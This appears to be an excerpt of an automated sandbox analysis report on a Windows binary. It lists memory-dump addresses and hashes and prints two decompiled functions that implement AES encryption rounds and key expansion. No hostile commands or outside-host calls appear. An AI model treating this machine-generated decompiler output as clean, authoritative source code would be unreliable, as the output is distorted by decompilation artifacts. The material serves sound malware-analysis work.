            0x0136b8f6
            0x0136b8fb
            0x0136b8fb
            0x0136b901
            0x0136b901
            0x0136b915
            0x0136b918
            0x0136b920
            0x0136b928
            0x0136b928
            0x0136b92e
            0x0136b92e
            0x0136b940
            0x0136b945
            0x0136b94d
            0x0136b955
            0x0136b955
            0x0136b958
            0x0136b958
            0x0136b967
            0x0136b96c
            0x0136b971
            0x0136b976
            0x0136b976
            0x0136b979
            0x0136b979
            0x0136b988
            0x0136b98d
            0x0136b992
            0x0136b997
            0x0136b997
            0x0136b99d
            0x0136b99d
            0x0136b9b1
            0x0136b9b4
            0x0136b9bc
            0x0136b9c4
            0x0136b9c4
            0x0136b9ca
            0x0136b9ca
            0x0136b9de
            0x0136b9e1
            0x0136b9e9
            0x0136b9f1
            0x0136b9f1
            0x0136b9f4
            0x0136b9f4
            0x0136ba03
            0x0136ba08
            0x0136ba0d
            0x0136ba12
            0x0136ba12
            0x0136ba15
            0x0136ba15
            0x0136ba24
            0x0136ba29
            0x0136ba2e
            0x0136ba33
            0x0136ba33
            0x0136ba36
            0x0136ba36
            0x0136ba47
            0x0136ba4a
            0x0136ba4f
            0x0136ba54
            0x0136ba54
            0x0136ba5a
            0x0136ba5a
            0x0136ba6e
            0x0136ba71
            0x0136ba79
            0x0136ba81
            0x0136ba81
            0x0136ba84
            0x0136ba84
            0x0136ba95
            0x0136ba98
            0x0136ba9d
            0x0136baa0
            0x0136baa6
            0x0136baa6
            0x0136baac
            0x0136babd
            0x0136bac5
            0x0136bacd
            0x0136bacd
            0x0136bad0
            0x0136bad0
            0x0136bad3
            0x0136bae4
            0x0136bae9
            0x0136baee
            0x0136baf3
            0x0136baf3
            0x0136baf6
            0x0136baf6
            0x0136bb05
            0x0136bb0a
            0x0136bb0f
            0x0136bb20
            0x0136bb25
            0x0136bb2a
            0x0136bb2a
            0x0136bb2d
            0x0136bb30
            0x0136bb30
            0x0136bb33
            0x0136bb33
            0x0136bb36
            0x0136bb39
            0x0136bb3c
            0x0136bb3f
            0x0136bb42
            0x0136bb42
            0x0136bb45
            0x0136bb48
            0x0136bb4b
            0x0136bb52
            0x0136bb58
            0x0136bb5b
            0x0136bb5e
            0x0136bb64
            0x0136bb67
            0x0136bb6d
            0x0136bb78
            0x0136bb8e
            0x0136bb93
            0x0136bba9
            0x0136bbab
            0x0136bbae
            0x0136bbc6
            0x0136bbc8
            0x0136bbcb
            0x0136bbe4
            0x0136bbe7
            0x0136bbea
            0x0136bbed
            0x0136bbed
            0x0136bbf0
            0x0136bbf3
            0x0136bbf3
            0x0136bbf6
            0x0136bbf6
            0x0136bbf9
            0x0136bbfc
            0x0136bbff
            0x0136bc02
            0x0136bc05
            0x0136bc05
            0x0136bc08
            0x0136bc0b
            0x0136bc0e
            0x0136bc15
            0x0136bc1b
            0x0136bc1e
            0x0136bc21
            0x0136bc27
            0x0136bc2a
            0x0136bc30
            0x0136bc3c
            0x0136bc52
            0x0136bc57
            0x0136bc6d
            0x0136bc6f
            0x0136bc72
            0x0136bc8a
            0x0136bc8c
            0x0136bc8f
            0x0136bca8
            0x0136bcab
            0x0136bcae
            0x0136bcb1
            0x0136bcb1
            0x0136bcb4
            0x0136bcb7
            0x0136bcb7
            0x0136bcba
            0x0136bcba
            0x0136bcbd
            0x0136bcc0
            0x0136bcc3
            0x0136bcc6
            0x0136bcc9
            0x0136bcc9
            0x0136bccc
            0x0136bccf
            0x0136bcd2
            0x0136bcd9
            0x0136bcdf
            0x0136bce2
            0x0136bce5
            0x0136bceb
            0x0136bcee
            0x0136bcf3
            0x0136bd00
            0x0136bd16
            0x0136bd1b
            0x0136bd2f
            0x0136bd33
            0x0136bd39
            0x0136bd4e
            0x0136bd50
            0x0136bd53
            0x0136bd6c
            0x0136bd6f
            0x0136bd72
            0x0136bd75
            0x0136bd75
            0x0136bd7b
            0x0136bd81
            0x0136bd81
            0x0136bd87
            0x0136bd87
            0x0136bd8d
            0x0136bd90
            0x0136bd93
            0x0136bd96
            0x0136bd9c
            0x0136bd9c
            0x0136bda2
            0x0136bda5
            0x0136bda8
            0x0136bdaf
            0x0136bdb5
            0x0136bdbb
            0x0136bdbe
            0x0136bdc4
            0x0136bdca
            0x0136bdcf
            0x0136bddc
            0x0136bdf2
            0x0136bdfa
            0x0136be13
            0x0136be15
            0x0136be1e
            0x0136be36
            0x0136be38
            0x0136be41
            0x0136be52
            0x0136be60
            0x0136be66
            0x0136be6c
            0x0136be6c
            0x0136be72
            0x0136be72
            0x0136be78
            0x0136be7e
            0x0136be81
            0x0136be87
            0x0136be87
            0x0136be8d
            0x0136be90
            0x0136be96
            0x0136be96
            0x0136be9c
            0x0136be9f
            0x0136bea2
            0x0136bea9
            0x0136beaf
            0x0136beb5
            0x0136beb8
            0x0136bebe
            0x0136bec4
            0x0136becc
            0x0136bed9
            0x0136bef2
            0x0136befa
            0x0136bf13
            0x0136bf15
            0x0136bf17
            0x0136bf20
            0x0136bf38
            0x0136bf41
            0x0136bf5a
            0x0136bf60
            0x0136bf66
            0x0136bf6b
            0x0136bf6d
            0x0136bf6d
            0x0136bf70
            0x0136bf73
            0x0136bf76
            0x0136bf79
            0x0136bf8b

            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID:
            • String ID:
            • API String ID:
            • Opcode ID: ffbe912523de36c31287c8cc50a8e066eeb5a03e60293efa2b4a466cf8c0b421
            • Instruction ID: 33ccd67eae21dde265baefc55a92e256d7dd5c6d110343eb373690ea06f11203
            • Opcode Fuzzy Hash: ffbe912523de36c31287c8cc50a8e066eeb5a03e60293efa2b4a466cf8c0b421
            • Instruction Fuzzy Hash: 43A2F475A106198FDB48CF69C491AAAF7F2BF8C300F55856ED85AEB741CB34A841CF90
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 75%
            			E01368E76(void* __eflags, unsigned int _a4, signed int _a8, signed int _a12, signed int* _a16) {
            				unsigned int _v8;
            				unsigned int _v12;
            				unsigned int _v16;
            				unsigned int _v20;
            				signed int _t383;
            				signed char _t388;
            				signed char _t393;
            				unsigned int _t394;
            				signed int* _t396;
            				unsigned int _t413;
            				signed int _t420;
            				unsigned int _t434;
            				unsigned int _t453;
            				unsigned int _t499;
            				unsigned int _t501;
            				unsigned int _t507;
            				signed int* _t509;
            				signed int* _t511;
            				signed int* _t512;
            				signed int _t516;
            				signed int _t517;
            				signed int _t519;
            				void* _t521;
            
            				_t521 = __eflags;
            				_t396 = _a12;
            				asm("rol eax, 0x8");
            				asm("ror edx, 0x8");
            				_t511 = _a4;
            				_a4 = ( *_t396 & 0xff00ff00 |  *_t396 & 0x00ff00ff) ^  *_t511;
            				asm("rol eax, 0x8");
            				asm("ror edx, 0x8");
            				_t6 =  &(_t511[1]); // 0x330475c0
            				asm("rol eax, 0x8");
            				asm("ror ebx, 0x8");
            				_v12 = (_t396[1] & 0xff00ff00 | _t396[1] & 0x00ff00ff) ^  *_t6;
            				_t9 =  &(_t511[2]); // 0x560aebc0
            				_t388 = (_t396[2] & 0xff00ff00 | _t396[2] & 0x00ff00ff) ^  *_t9;
            				asm("rol eax, 0x8");
            				asm("ror edx, 0x8");
            				_t11 =  &(_t511[3]); // 0xffe974e8
            				_t499 = (_t396[3] & 0xff00ff00 | _t396[3] & 0x00ff00ff) ^  *_t11;
            				_t21 =  &(_t511[4]); // 0x59c033ff
            				_v16 =  *(0x136dc38 + (_t388 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x136d838 + (_v12 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x136d438 + (_a4 >> 0x18) * 4) ^  *(0x136e038 + (_t499 & 0x000000ff) * 4) ^  *_t21;
            				_t33 =  &(_t511[5]); // 0x8b5e5b40
            				_v8 =  *(0x136dc38 + (_t499 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x136d838 + (_t388 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x136d438 + (_v12 >> 0x18) * 4) ^  *(0x136e038 + (_a4 & 0x000000ff) * 4) ^  *_t33;
            				_a12 =  *(0x136d838 + (_t499 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x136dc38 + (_a4 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x136d438 + (_t388 >> 0x18) * 4);
            				_t413 = _v12;
            				_t516 = _a12 ^  *(0x136e038 + (_t413 & 0x000000ff) * 4);
            				_a12 = _t516;
            				_t48 =  &(_t511[6]); // 0x55c35de5
            				_a12 = _t516 ^  *_t48;
            				_t60 =  &(_t511[7]); // 0xec83ec8b
            				_t420 =  *(0x136dc38 + (_t413 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x136d838 + (_a4 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x136d438 + (_t499 >> 0x18) * 4) ^  *(0x136e038 + (_t388 & 0x000000ff) * 4) ^  *_t60;
            				_t512 =  &(_t511[8]);
            				_a8 = (_a8 >> 1) - 1;
            				while(1) {
            					_a4 = _t420;
            					if(_t521 == 0) {
            						break;
            					}
            					_t517 = _a12;
            					_t501 = _v16;
            					_v12 =  *(0x136dc38 + (_t517 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x136d838 + (_v8 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x136d438 + (_t501 >> 0x18) * 4) ^  *(0x136e038 + (_a4 & 0x000000ff) * 4) ^  *_t512;
            					_t85 =  &(_t512[1]); // 0x5350d045
            					_v20 =  *(0x136dc38 + (_a4 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x136d838 + (_t517 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x136d438 + (_v8 >> 0x18) * 4) ^  *(0x136e038 + (_t501 & 0x000000ff) * 4) ^  *_t85;
            					_t434 = _v8;
            					_t97 =  &(_t512[2]); // 0x1b66e8
            					_t393 =  *(0x136d838 + (_a4 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x136dc38 + (_t501 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x136d438 + (_t517 >> 0x18) * 4) ^  *(0x136e038 + (_t434 & 0x000000ff) * 4) ^  *_t97;
            					_t107 =  &(_t512[3]); // 0x14c48300
            					_t507 =  *(0x136dc38 + (_t434 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x136d838 + (_t501 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x136d438 + (_a4 >> 0x18) * 4) ^  *(0x136e038 + (_t517 & 0x000000ff) * 4) ^  *_t107;
            					_t118 =  &(_t512[4]); // 0x1374c085
            					_v16 =  *(0x136dc38 + (_t393 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x136d838 + (_v20 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x136d438 + (_v12 >> 0x18) * 4) ^  *(0x136e038 + (_t507 & 0x000000ff) * 4) ^  *_t118;
            					_t130 =  &(_t512[5]); // 0xff0c75ff
            					_v8 =  *(0x136dc38 + (_t507 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x136d838 + (_t393 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x136d438 + (_v20 >> 0x18) * 4) ^  *(0x136e038 + (_v12 & 0x000000ff) * 4) ^  *_t130;
            					_a12 =  *(0x136d838 + (_t507 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x136dc38 + (_v12 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x136d438 + (_t393 >> 0x18) * 4);
            					_t453 = _v20;
            					_t519 = _a12 ^  *(0x136e038 + (_t453 & 0x000000ff) * 4);
            					_a12 = _t519;
            					_t145 =  &(_t512[6]); // 0xe8530875
            					_a12 = _t519 ^  *_t145;
            					_t156 =  &(_t512[7]); // 0x1b0b
            					_t420 =  *(0x136dc38 + (_t453 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x136d838 + (_v12 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x136d438 + (_t507 >> 0x18) * 4) ^  *(0x136e038 + (_t393 & 0x000000ff) * 4) ^  *_t156;
            					_t512 =  &(_t512[8]);
            					_t157 =  &_a8;
            					 *_t157 = _a8 - 1;
            					__eflags =  *_t157;
            				}
            				_t394 = _v16;
            				_t509 = _a16;
            				asm("rol ecx, 0x8");
            				asm("ror eax, 0x8");
            				 *_t509 = ( *(0x136e438 + (_v8 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x136e438 + (_a12 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x136e438 + (_t394 >> 0x18) * 4) & 0xff000000 ^  *(0x136e438 + (_a4 & 0x000000ff) * 4) & 0x000000ff ^  *_t512) & 0xff00ff00 | ( *(0x136e438 + (_v8 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x136e438 + (_a12 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x136e438 + (_t394 >> 0x18) * 4) & 0xff000000 ^  *(0x136e438 + (_a4 & 0x000000ff) * 4) & 0x000000ff ^  *_t512) & 0x00ff00ff;
            				_t184 =  &(_t512[1]); // 0x5350d045
            				asm("rol ecx, 0x8");
            				asm("ror eax, 0x8");
            				_t509[1] = ( *(0x136e438 + (_a12 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x136e438 + (_a4 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x136e438 + (_v8 >> 0x18) * 4) & 0xff000000 ^  *(0x136e438 + (_t394 & 0x000000ff) * 4) & 0x000000ff ^  *_t184) & 0xff00ff00 | ( *(0x136e438 + (_a12 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x136e438 + (_a4 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x136e438 + (_v8 >> 0x18) * 4) & 0xff000000 ^  *(0x136e438 + (_t394 & 0x000000ff) * 4) & 0x000000ff ^  *_t184) & 0x00ff00ff;
            				_t197 =  &(_t512[2]); // 0x1b66e8
            				asm("ror eax, 0x8");
            				asm("rol ecx, 0x8");
            				_t509[2] = ( *(0x136e438 + (_a4 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x136e438 + (_t394 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x136e438 + (_a12 >> 0x18) * 4) & 0xff000000 ^  *(0x136e438 + (_v8 & 0x000000ff) * 4) & 0x000000ff ^  *_t197) & 0xff00ff00 | ( *(0x136e438 + (_a4 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x136e438 + (_t394 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x136e438 + (_a12 >> 0x18) * 4) & 0xff000000 ^  *(0x136e438 + (_v8 & 0x000000ff) * 4) & 0x000000ff ^  *_t197) & 0x00ff00ff;
            				_t210 =  &(_t512[3]); // 0x14c48300
            				asm("rol ecx, 0x8");
            				asm("ror eax, 0x8");
            				_t383 = ( *(0x136e438 + (_t394 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x136e438 + (_v8 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x136e438 + (_a4 >> 0x18) * 4) & 0xff000000 ^  *(0x136e438 + (_a12 & 0x000000ff) * 4) & 0x000000ff ^  *_t210) & 0xff00ff00 | ( *(0x136e438 + (_t394 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x136e438 + (_v8 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x136e438 + (_a4 >> 0x18) * 4) & 0xff000000 ^  *(0x136e438 + (_a12 & 0x000000ff) * 4) & 0x000000ff ^  *_t210) & 0x00ff00ff;
            				_t509[3] = _t383;
            				return _t383;
            			}


























            0x01368e76
            0x01368e7c
            0x01368e8f
            0x01368e94
            0x01368e9f
            0x01368ea4
            0x01368ea9
            0x01368eae
            0x01368eb8
            0x01368ebd
            0x01368ec5
            0x01368ec8
            0x01368ed2
            0x01368ed2
            0x01368ed7
            0x01368edf
            0x01368ef1
            0x01368ef1
            0x01368f21
            0x01368f27
            0x01368f5f
            0x01368f65
            0x01368f91
            0x01368f94
            0x01368fa3
            0x01368fac
            0x01368faf
            0x01368fb9
            0x01368fe0
            0x01368fe0
            0x01368fe3
            0x01368feb
            0x013691e1
            0x013691e1
            0x013691e4
            0x00000000
            0x00000000
            0x01368ff3
            0x0136900e
            0x01369039
            0x0136906c
            0x01369075
            0x0136908d
            0x013690b3
            0x013690b3
            0x013690e2
            0x013690e2
            0x0136911b
            0x01369121
            0x01369159
            0x0136915f
            0x0136918b
            0x0136918e
            0x0136919d
            0x013691a6
            0x013691a9
            0x013691b3
            0x013691d7
            0x013691d7
            0x013691da
            0x013691dd
            0x013691dd
            0x013691dd
            0x013691dd
            0x013691f8
            0x013691fb
            0x01369249
            0x0136924c
            0x0136925c
            0x013692a9
            0x013692ae
            0x013692b1
            0x013692c1
            0x01369311
            0x01369316
            0x0136931e
            0x0136932c
            0x01369377
            0x0136937c
            0x0136937f
            0x0136938e
            0x01369391
            0x01369398

            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID:
            • String ID:
            • API String ID:
            • Opcode ID: e99d018fd92f1bc9adb7b029eac8d6bdb259426dfd98ea041027f72d9df1b627
            • Instruction ID: 4f8ebac6d52de0d70cf6dd09318a9a1e91714b7d14c98192f573cd885c75c2ca
            • Opcode Fuzzy Hash: e99d018fd92f1bc9adb7b029eac8d6bdb259426dfd98ea041027f72d9df1b627
            • Instruction Fuzzy Hash: 4AE1D735B101988FCB14CF6DE89187977F0FB49301B85816EE586D7385CB39EA26DBA0
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 80%
            			E01369399(signed int* _a4, signed int* _a8, signed int* _a12) {
            				signed int _t164;
            				signed int _t180;
            				signed int* _t197;
            				signed int _t199;
            				signed int* _t216;
            				signed int _t218;
            				signed int* _t222;
            				void* _t223;
            				signed int _t239;
            				signed int _t259;
            				signed int _t277;
            				signed int _t295;
            				signed int* _t298;
            				signed int _t317;
            				signed int _t320;
            				signed int _t324;
            				signed int _t331;
            				signed int _t333;
            				signed int _t335;
            				signed int _t338;
            				signed int _t345;
            				signed int _t347;
            				signed int _t350;
            				signed int _t354;
            				signed char _t357;
            				signed int _t365;
            				signed int* _t366;
            				signed int _t372;
            				signed int* _t373;
            				signed int* _t374;
            				signed int _t381;
            				signed int _t388;
            				signed int _t395;
            				signed int* _t396;
            				signed int* _t398;
            				signed int* _t399;
            				signed int* _t401;
            				signed int* _t402;
            
            				_t298 = _a8;
            				_t399 = _a4;
            				asm("rol eax, 0x8");
            				asm("ror ecx, 0x8");
            				_t3 =  &(_t399[1]); // 0x1368961
            				_t396 = _t3;
            				 *_t399 =  *_t298 & 0xff00ff00 |  *_t298 & 0x00ff00ff;
            				asm("ror eax, 0x8");
            				asm("rol ecx, 0x8");
            				 *_t396 = _t298[1] & 0xff00ff00 | _t298[1] & 0x00ff00ff;
            				asm("ror eax, 0x8");
            				asm("rol ecx, 0x8");
            				_t399[2] = _t298[2] & 0xff00ff00 | _t298[2] & 0x00ff00ff;
            				asm("ror edx, 0x8");
            				asm("rol eax, 0x8");
            				_t354 = _t298[3] & 0xff00ff00 | _t298[3] & 0x00ff00ff;
            				_t399[3] = _t354;
            				if(_a12 != 0x80) {
            					asm("ror eax, 0x8");
            					asm("rol ecx, 0x8");
            					_t399[4] = _t298[4] & 0xff00ff00 | _t298[4] & 0x00ff00ff;
            					asm("ror edx, 0x8");
            					asm("rol eax, 0x8");
            					_t357 = _t298[5] & 0xff00ff00 | _t298[5] & 0x00ff00ff;
            					_t399[5] = _t357;
            					if(_a12 != 0xc0) {
            						asm("rol ecx, 0x8");
            						asm("ror eax, 0x8");
            						_t399[6] = _t298[6] & 0xff00ff00 | _t298[6] & 0x00ff00ff;
            						asm("ror eax, 0x8");
            						asm("rol ecx, 0x8");
            						_t164 = _t298[7] & 0xff00ff00 | _t298[7] & 0x00ff00ff;
            						_t399[7] = _t164;
            						if(_a12 != 0x100) {
            							return 0;
            						}
            						_a8 = 0x136fc3c;
            						_t93 =  &(_t399[2]); // 0xc35de58b
            						_t365 = ( *(0x136e438 + (_t164 >> 0x00000010 & 0x000000ff) * 4) ^ 0x01000000) & 0xff000000 ^  *(0x136e438 + (_t164 >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x136e438 + (_t164 >> 0x18) * 4) & 0x000000ff ^  *(0x136e438 + (_t164 & 0x000000ff) * 4) & 0x0000ff00 ^  *_t399;
            						_t180 =  *_t396 ^ _t365;
            						_t399[8] = _t365;
            						_t399[9] = _t180;
            						_t98 =  &(_t399[0xc]); // 0x136898d
            						_t366 = _t98;
            						_t317 =  *_t93 ^ _t180;
            						_a12 = _t366;
            						_t100 =  &(_t399[3]); // 0x83ec8b55
            						_t399[0xa] = _t317;
            						_t399[0xb] =  *_t100 ^ _t317;
            						do {
            							_t103 = _t366 - 4; // 0x50e0458d
            							_t197 = _a12;
            							_t372 =  *(0x136e438 + ( *_t103 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x136e438 + ( *_t103 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x136e438 + ( *_t103 >> 0x18) * 4) & 0xff000000 ^  *(0x136e438 + ( *_t103 & 0x000000ff) * 4) & 0x000000ff ^  *(_t197 - 0x20);
            							 *_t197 = _t372;
            							_t199 =  *(_t197 - 0x1c) ^ _t372;
            							_t373 = _a12;
            							 *(_t373 + 4) = _t199;
            							_t320 =  *(_t373 - 0x18) ^ _t199;
            							 *(_t373 + 8) = _t320;
            							 *(_t373 + 0xc) =  *(_t373 - 0x14) ^ _t320;
            							_t374 = _t373 + 0x20;
            							_a12 = _t374;
            							_t216 = _a12;
            							_t381 =  *(0x136e438 + ( *(_t374 - 0x14) >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x136e438 + ( *(_t374 - 0x14) >> 0x00000010 & 0x000000ff) * 4) & 0xff000000 ^  *(0x136e438 + ( *(_t374 - 0x14) >> 0x18) * 4) & 0x000000ff ^  *(0x136e438 + ( *(_t374 - 0x14) & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t216 - 0x30) ^  *_a8;
            							 *(_t216 - 0x10) = _t381;
            							_t218 =  *(_t216 - 0x2c) ^ _t381;
            							_t366 = _a12;
            							 *(_t366 - 0xc) = _t218;
            							_t324 =  *(_t366 - 0x28) ^ _t218;
            							 *(_t366 - 8) = _t324;
            							 *(_t366 - 4) =  *(_t366 - 0x24) ^ _t324;
            							_t222 =  &(_a8[1]);
            							_a8 = _t222;
            						} while (_t222 != 0x136fc54);
            						_push(0xe);
            						L4:
            						_pop(_t223);
            						return _t223;
            					}
            					_t331 = ( *(0x136e438 + (_t357 >> 0x00000010 & 0x000000ff) * 4) ^ 0x01000000) & 0xff000000 ^  *(0x136e438 + (_t357 >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x136e438 + (_t357 >> 0x18) * 4) & 0x000000ff ^  *(0x136e438 + (_t357 & 0x000000ff) * 4) & 0x0000ff00 ^  *_t399;
            					_t398 = 0x136fc3c;
            					_t239 =  *_t396 ^ _t331;
            					_t399[6] = _t331;
            					_t54 =  &(_t399[2]); // 0xc35de58b
            					_t333 =  *_t54 ^ _t239;
            					_t399[7] = _t239;
            					_t56 =  &(_t399[3]); // 0x83ec8b55
            					_t399[8] = _t333;
            					_t399[9] =  *_t56 ^ _t333;
            					_t401 =  &(_t399[0xa]);
            					do {
            						_t59 = _t401 - 0x18; // 0x75ff29eb
            						_t60 = _t401 - 4; // 0xc687e8a5
            						_t335 =  *_t59 ^  *_t60;
            						_t61 = _t401 - 0x14; // 0x8df98b10
            						 *_t401 = _t335;
            						_t401[1] =  *_t61 ^ _t335;
            						_t63 =  &(_t401[6]); // 0xf48b89
            						_t401 = _t63;
            						_t388 =  *(0x136e438 + ( *(_t401 - 0x14) >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x136e438 + ( *(_t401 - 0x14) >> 0x00000010 & 0x000000ff) * 4) & 0xff000000 ^  *(0x136e438 + ( *(_t401 - 0x14) >> 0x18) * 4) & 0x000000ff ^  *(0x136e438 + ( *(_t401 - 0x14) & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t401 - 0x28) ^  *_t398;
            						_t398 =  &(_t398[1]);
            						 *(_t401 - 0x10) = _t388;
            						_t259 =  *(_t401 - 0x24) ^ _t388;
            						 *(_t401 - 0xc) = _t259;
            						_t338 =  *(_t401 - 0x20) ^ _t259;
            						 *(_t401 - 8) = _t338;
            						 *(_t401 - 4) =  *(_t401 - 0x1c) ^ _t338;
            					} while (_t398 != 0x136fc58);
            					_push(0xc);
            					goto L4;
            				}
            				_t345 = ( *(0x136e438 + (_t354 >> 0x00000010 & 0x000000ff) * 4) ^ 0x01000000) & 0xff000000 ^  *(0x136e438 + (_t354 >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x136e438 + (_t354 >> 0x18) * 4) & 0x000000ff ^  *(0x136e438 + (_t354 & 0x000000ff) * 4) & 0x0000ff00 ^  *_t399;
            				_t277 =  *_t396 ^ _t345;
            				_t399[4] = _t345;
            				_t19 =  &(_t399[2]); // 0xc35de58b
            				_t399[5] = _t277;
            				_t347 =  *_t19 ^ _t277;
            				_t399[6] = _t347;
            				_t399[7] = _t354 ^ _t347;
            				_t402 = 0x136fc3c;
            				do {
            					_t23 =  &(_t396[4]); // 0x120
            					_t396 = _t23;
            					_t395 =  *(0x136e438 + (_t396[2] >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x136e438 + (_t396[2] >> 0x00000010 & 0x000000ff) * 4) & 0xff000000 ^  *(0x136e438 + (_t396[2] >> 0x18) * 4) & 0x000000ff ^  *(0x136e438 + (_t396[2] & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t396 - 4) ^  *_t402;
            					_t402 =  &(_t402[1]);
            					_t396[3] = _t395;
            					_t295 =  *_t396 ^ _t395;
            					_t396[4] = _t295;
            					_t350 = _t396[1] ^ _t295;
            					_t396[5] = _t350;
            					_t396[6] = _t396[2] ^ _t350;
            				} while (_t402 != 0x136fc60);
            				_push(0xa);
            				goto L4;
            			}









































            0x0136939d
            0x013693a6
            0x013693ae
            0x013693b6
            0x013693bb
            0x013693bb
            0x013693c0
            0x013693c7
            0x013693cc
            0x013693d7
            0x013693de
            0x013693e3
            0x013693ee
            0x013693f6
            0x013693f9
            0x01369407
            0x01369410
            0x01369413
            0x01369510
            0x01369518
            0x01369523
            0x0136952b
            0x0136952e
            0x0136953c
            0x01369545
            0x01369548
            0x01369662
            0x01369665
            0x01369672
            0x0136967a
            0x0136967d
            0x01369688
            0x01369691
            0x01369694
            0x00000000
            0x01369814
            0x0136969c
            0x013696e5
            0x013696f8
            0x013696ff
            0x01369701
            0x01369704
            0x01369707
            0x01369707
            0x0136970a
            0x0136970c
            0x0136970f
            0x01369714
            0x01369717
            0x0136971f
            0x0136971f
            0x01369763
            0x01369766
            0x01369769
            0x0136976e
            0x01369770
            0x01369776
            0x01369779
            0x01369780
            0x01369783
            0x01369786
            0x01369789
            0x013697d3
            0x013697d9
            0x013697db
            0x013697e1
            0x013697e3
            0x013697e6
            0x013697ec
            0x013697ee
            0x013697f6
            0x013697fc
            0x013697ff
            0x01369802
            0x0136980d
            0x01369505
            0x01369505
            0x00000000
            0x01369505
            0x013695a2
            0x013695a4
            0x013695a9
            0x013695ab
            0x013695ae
            0x013695b1
            0x013695b3
            0x013695b6
            0x013695bb
            0x013695be
            0x013695c1
            0x013695c4
            0x013695c4
            0x013695c7
            0x013695c7
            0x013695ca
            0x013695cf
            0x013695d1
            0x013695d4
            0x013695d4
            0x01369625
            0x01369627
            0x0136962a
            0x01369630
            0x01369632
            0x01369638
            0x0136963a
            0x01369642
            0x01369645
            0x01369651
            0x00000000
            0x01369651
            0x0136946d
            0x0136946f
            0x01369471
            0x01369474
            0x01369477
            0x0136947a
            0x0136947e
            0x01369483
            0x01369486
            0x0136948b
            0x0136948b
            0x0136948b
            0x013694dc
            0x013694de
            0x013694e1
            0x013694e6
            0x013694e8
            0x013694ee
            0x013694f0
            0x013694f8
            0x013694fb
            0x01369503
            0x00000000

            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
